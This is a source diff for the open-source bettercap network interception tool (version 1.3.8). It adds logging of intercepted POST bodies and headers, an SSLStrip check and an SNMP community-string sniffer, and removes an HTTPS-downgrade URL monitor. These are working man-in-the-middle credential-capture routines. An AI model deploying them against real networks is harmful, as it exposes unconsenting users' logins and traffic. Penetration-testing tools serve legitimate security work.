msg = ''
|
98
|
+
data.each_byte do |b|
|
99
|
+
msg << ( b.chr =~ /[[:print:]]/ ? b.chr : '.' ).yellow
|
100
|
+
end
|
101
|
+
msg
|
102
|
+
end
|
103
|
+
|
104
|
+
def self.dump_gzip( request )
|
105
|
+
msg = ''
|
106
|
+
uncompressed = Zlib::GzipReader.new(StringIO.new(request.body)).read
|
107
|
+
self.dump_raw( uncompressed )
|
108
|
+
end
|
109
|
+
|
110
|
+
def self.dump_json( request )
|
111
|
+
obj = JSON.parse( request.body )
|
112
|
+
json = JSON.pretty_unparse(obj)
|
113
|
+
json.scan( /("[^"]+"):/ ).map { |x| json.gsub!( x[0], x[0].blue )}
|
114
|
+
json
|
115
|
+
end
|
116
|
+
|
117
|
+
# If +request+ is a complete POST request, this method will log every header
|
118
|
+
# and post field with its value.
|
119
|
+
def self.log_post( request )
|
120
|
+
# the packet could be incomplete
|
121
|
+
if request.post? and !request.body.nil? and !request.body.empty?
|
122
|
+
msg = "\n[#{'HEADERS'.green}]\n\n"
|
123
|
+
request.headers.each do |name,value|
|
124
|
+
msg << " #{name.blue} : #{value.yellow}\n"
|
125
|
+
end
|
126
|
+
msg << "\n[#{'BODY'.green}]\n\n"
|
127
|
+
|
128
|
+
case request['Content-Type']
|
129
|
+
when 'application/x-www-form-urlencoded'
|
130
|
+
msg << self.dump_form( request )
|
131
|
+
|
132
|
+
when 'gzip'
|
133
|
+
msg << self.dump_gzip( request )
|
134
|
+
|
135
|
+
when 'application/json'
|
136
|
+
msg << self.dump_json( request )
|
137
|
+
|
138
|
+
else
|
139
|
+
msg << self.dump_raw( request.body )
|
140
|
+
end
|
141
|
+
|
142
|
+
Logger.raw "#{msg}\n"
|
143
|
+
end
|
144
|
+
end
|
145
|
+
|
85
146
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
86
147
|
# with the +request+ and +response+ most important informations.
|
87
148
|
def self.log_http( request, response )
|
88
149
|
is_https = request.port == 443
|
89
150
|
request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
90
151
|
response_s = "( #{response.content_type} )"
|
91
|
-
request_s =
|
152
|
+
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
|
92
153
|
code = response.code[0]
|
93
154
|
|
94
155
|
if @@CODE_COLORS.has_key? code
|
@@ -98,6 +159,10 @@ class StreamLogger
|
|
98
159
|
end
|
99
160
|
|
100
161
|
Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
|
162
|
+
# Log post body if the POST sniffer is enabled.
|
163
|
+
if Context.get.post_sniffer_enabled?
|
164
|
+
self.log_post( request )
|
165
|
+
end
|
101
166
|
end
|
102
167
|
end
|
103
168
|
end
|
@@ -23,6 +23,15 @@ class Streamer
|
|
23
23
|
@sslstrip = SSLStrip::Strip.new
|
24
24
|
end
|
25
25
|
|
26
|
+
# Return true if the +request+ was stripped.
|
27
|
+
def was_stripped?(request, client)
|
28
|
+
if @ctx.options.sslstrip
|
29
|
+
request.client, request.client_port = get_client_details( !( request.port == 443 ), client )
|
30
|
+
return @sslstrip.was_stripped?(request)
|
31
|
+
end
|
32
|
+
false
|
33
|
+
end
|
34
|
+
|
26
35
|
# Redirect the +client+ to a funny video.
|
27
36
|
def rickroll( client, is_https )
|
28
37
|
client_ip, client_port = get_client_details( is_https, client )
|
@@ -79,8 +88,7 @@ class Streamer
|
|
79
88
|
client.write response.to_s
|
80
89
|
rescue NoMethodError => e
|
81
90
|
Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
|
82
|
-
Logger.
|
83
|
-
Logger.debug e.backtrace.join("\n")
|
91
|
+
Logger.exception e
|
84
92
|
end
|
85
93
|
end
|
86
94
|
|
@@ -22,23 +22,8 @@ class Post < Base
|
|
22
22
|
req = BetterCap::Proxy::Request.parse(pkt.payload)
|
23
23
|
# the packet could be incomplete
|
24
24
|
unless req.body.nil? or req.body.empty?
|
25
|
-
msg = "\n[#{'HEADERS'.green}]\n\n"
|
26
|
-
req.headers.each do |name,value|
|
27
|
-
msg << " #{name.blue} : #{value.yellow}\n"
|
28
|
-
end
|
29
|
-
msg << "\n[#{'BODY'.green}]\n\n"
|
30
|
-
|
31
|
-
req.body.split('&').each do |v|
|
32
|
-
name, value = v.split('=')
|
33
|
-
if name.nil? or value.nil?
|
34
|
-
msg << " #{URI.unescape(v).yellow}\n"
|
35
|
-
else
|
36
|
-
msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
|
37
|
-
end
|
38
|
-
end
|
39
|
-
|
40
25
|
StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
|
41
|
-
|
26
|
+
StreamLogger.log_post( req )
|
42
27
|
end
|
43
28
|
rescue; end
|
44
29
|
end
|
@@ -0,0 +1,44 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
SNMP community string parser:
|
10
|
+
Author : Matteo Cantoni
|
11
|
+
Email : matteo.cantoni@nothink.org
|
12
|
+
|
13
|
+
This project is released under the GPL 3 license.
|
14
|
+
|
15
|
+
Todo: SNMPv2
|
16
|
+
|
17
|
+
=end
|
18
|
+
|
19
|
+
module BetterCap
|
20
|
+
module Parsers
|
21
|
+
# SNMP community string parser.
|
22
|
+
class SNMP < Base
|
23
|
+
def on_packet( pkt )
|
24
|
+
begin
|
25
|
+
if pkt.udp_dst == 161
|
26
|
+
|
27
|
+
packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
|
28
|
+
unless packet.nil?
|
29
|
+
if packet.snmp_version_number.to_i == 0
|
30
|
+
snmp_version = 'v1'
|
31
|
+
else
|
32
|
+
snmp_version = 'n/a'
|
33
|
+
end
|
34
|
+
|
35
|
+
msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
|
36
|
+
|
37
|
+
StreamLogger.log_raw( pkt, 'SNMP', msg )
|
38
|
+
end
|
39
|
+
end
|
40
|
+
rescue; end
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
@@ -29,33 +29,38 @@ class Sniffer
|
|
29
29
|
# each one of them to the BetterCap::Parsers instances loaded inside the
|
30
30
|
# +ctx+ BetterCap::Context instance.
|
31
31
|
def self.start( ctx )
|
32
|
-
Thread.new
|
32
|
+
Thread.new {
|
33
33
|
Logger.debug 'Starting sniffer ...'
|
34
34
|
|
35
35
|
setup( ctx )
|
36
36
|
|
37
|
+
start = Time.now.to_i
|
38
|
+
skipped = 0
|
39
|
+
processed = 0
|
40
|
+
|
37
41
|
self.stream.each do |raw_packet|
|
38
42
|
break unless @@ctx.running
|
39
43
|
begin
|
40
44
|
parsed = PacketFu::Packet.parse(raw_packet)
|
41
45
|
rescue Exception => e
|
42
46
|
parsed = nil
|
43
|
-
#Logger.debug e.message
|
44
|
-
#Logger.debug e.backtrace.join("\n")
|
45
47
|
end
|
46
48
|
|
47
|
-
if
|
48
|
-
|
49
|
+
if skip_packet?(parsed)
|
50
|
+
skipped += 1
|
51
|
+
else
|
52
|
+
processed += 1
|
49
53
|
append_packet raw_packet
|
50
54
|
parse_packet parsed
|
51
|
-
else
|
52
|
-
Logger.debug "[SNIFFER] Skipping packet:" \
|
53
|
-
" parsed=#{parsed.nil?? 'false' : 'true'}" \
|
54
|
-
" is_ip?=#{parsed.nil?? 'false' : parsed.is_ip?}" \
|
55
|
-
" skip_packet?=#{parsed.nil?? 'true' : skip_packet?(parsed)}"
|
56
55
|
end
|
57
56
|
end
|
58
|
-
|
57
|
+
|
58
|
+
stop = Time.now.to_i
|
59
|
+
delta = stop - start
|
60
|
+
total = skipped + processed
|
61
|
+
|
62
|
+
Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} s ( #{skipped} skipped packets, #{processed} processed packets )"
|
63
|
+
}
|
59
64
|
end
|
60
65
|
|
61
66
|
private
|
@@ -74,9 +79,14 @@ class Sniffer
|
|
74
79
|
# Return true if the +pkt+ packet instance must be skipped.
|
75
80
|
def self.skip_packet?( pkt )
|
76
81
|
begin
|
77
|
-
|
78
|
-
|
79
|
-
|
82
|
+
# not parsed
|
83
|
+
return true if pkt.nil?
|
84
|
+
# not IP packet
|
85
|
+
return true unless pkt.is_ip?
|
86
|
+
# skip if local packet and --local|-L was not specified.
|
87
|
+
unless @@ctx.options.local
|
88
|
+
return ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
89
|
+
end
|
80
90
|
rescue; end
|
81
91
|
false
|
82
92
|
end
|
@@ -87,7 +97,7 @@ class Sniffer
|
|
87
97
|
begin
|
88
98
|
parser.on_packet parsed
|
89
99
|
rescue Exception => e
|
90
|
-
Logger.
|
100
|
+
Logger.exception e
|
91
101
|
end
|
92
102
|
end
|
93
103
|
end
|
@@ -100,7 +110,7 @@ class Sniffer
|
|
100
110
|
array: [p],
|
101
111
|
append: true ) unless @@pcap.nil?
|
102
112
|
rescue Exception => e
|
103
|
-
Logger.
|
113
|
+
Logger.exception e
|
104
114
|
end
|
105
115
|
end
|
106
116
|
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.3.
|
15
|
+
VERSION = '1.3.8'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.3.
|
4
|
+
version: 1.3.8
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-13 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -143,6 +143,7 @@ files:
|
|
143
143
|
- lib/bettercap/network/protos/dhcp.rb
|
144
144
|
- lib/bettercap/network/protos/mysql.rb
|
145
145
|
- lib/bettercap/network/protos/ntlm.rb
|
146
|
+
- lib/bettercap/network/protos/snmp.rb
|
146
147
|
- lib/bettercap/network/servers/dnsd.rb
|
147
148
|
- lib/bettercap/network/servers/httpd.rb
|
148
149
|
- lib/bettercap/network/services
|
@@ -159,7 +160,6 @@ files:
|
|
159
160
|
- lib/bettercap/proxy/sslstrip/cookiemonitor.rb
|
160
161
|
- lib/bettercap/proxy/sslstrip/lock.ico
|
161
162
|
- lib/bettercap/proxy/sslstrip/strip.rb
|
162
|
-
- lib/bettercap/proxy/sslstrip/urlmonitor.rb
|
163
163
|
- lib/bettercap/proxy/stream_logger.rb
|
164
164
|
- lib/bettercap/proxy/streamer.rb
|
165
165
|
- lib/bettercap/proxy/thread_pool.rb
|
@@ -182,6 +182,7 @@ files:
|
|
182
182
|
- lib/bettercap/sniffer/parsers/post.rb
|
183
183
|
- lib/bettercap/sniffer/parsers/redis.rb
|
184
184
|
- lib/bettercap/sniffer/parsers/rlogin.rb
|
185
|
+
- lib/bettercap/sniffer/parsers/snmp.rb
|
185
186
|
- lib/bettercap/sniffer/parsers/snpp.rb
|
186
187
|
- lib/bettercap/sniffer/parsers/url.rb
|
187
188
|
- lib/bettercap/sniffer/parsers/whatsapp.rb
|
@@ -1,53 +0,0 @@
|
|
1
|
-
# encoding: UTF-8
|
2
|
-
=begin
|
3
|
-
|
4
|
-
BETTERCAP
|
5
|
-
|
6
|
-
Author : Simone 'evilsocket' Margaritelli
|
7
|
-
Email : evilsocket@gmail.com
|
8
|
-
Blog : http://www.evilsocket.net/
|
9
|
-
|
10
|
-
This project is released under the GPL 3 license.
|
11
|
-
|
12
|
-
=end
|
13
|
-
|
14
|
-
module BetterCap
|
15
|
-
module Proxy
|
16
|
-
module SSLStrip
|
17
|
-
|
18
|
-
# Class to handle a list of ( client, url ) objects.
|
19
|
-
class URLMonitor
|
20
|
-
# Create an instance of this object.
|
21
|
-
def initialize
|
22
|
-
@urls = []
|
23
|
-
end
|
24
|
-
|
25
|
-
# Return true if the object (client, url) is found inside this list.
|
26
|
-
def was_stripped?( client, url )
|
27
|
-
@urls.include?([client, url])
|
28
|
-
end
|
29
|
-
|
30
|
-
# Add the object (client, url) to this list.
|
31
|
-
def add!( client, url )
|
32
|
-
unless was_stripped?(client, url)
|
33
|
-
@urls << [client, url]
|
34
|
-
end
|
35
|
-
end
|
36
|
-
|
37
|
-
# Return a normalized version of +url+.
|
38
|
-
def normalize( url )
|
39
|
-
url = if url.include?('://') then url else "https://#{url}" end
|
40
|
-
url = if url.end_with?('/') then url else "#{url}/" end
|
41
|
-
url
|
42
|
-
end
|
43
|
-
|
44
|
-
# Downgrade +url+ from HTTPS to HTTP.
|
45
|
-
# Will take care of HSTS bypass urls in a near future.
|
46
|
-
def downgrade( url )
|
47
|
-
url.gsub( 'https://', 'http://' )
|
48
|
-
end
|
49
|
-
end
|
50
|
-
|
51
|
-
end
|
52
|
-
end
|
53
|
-
end
|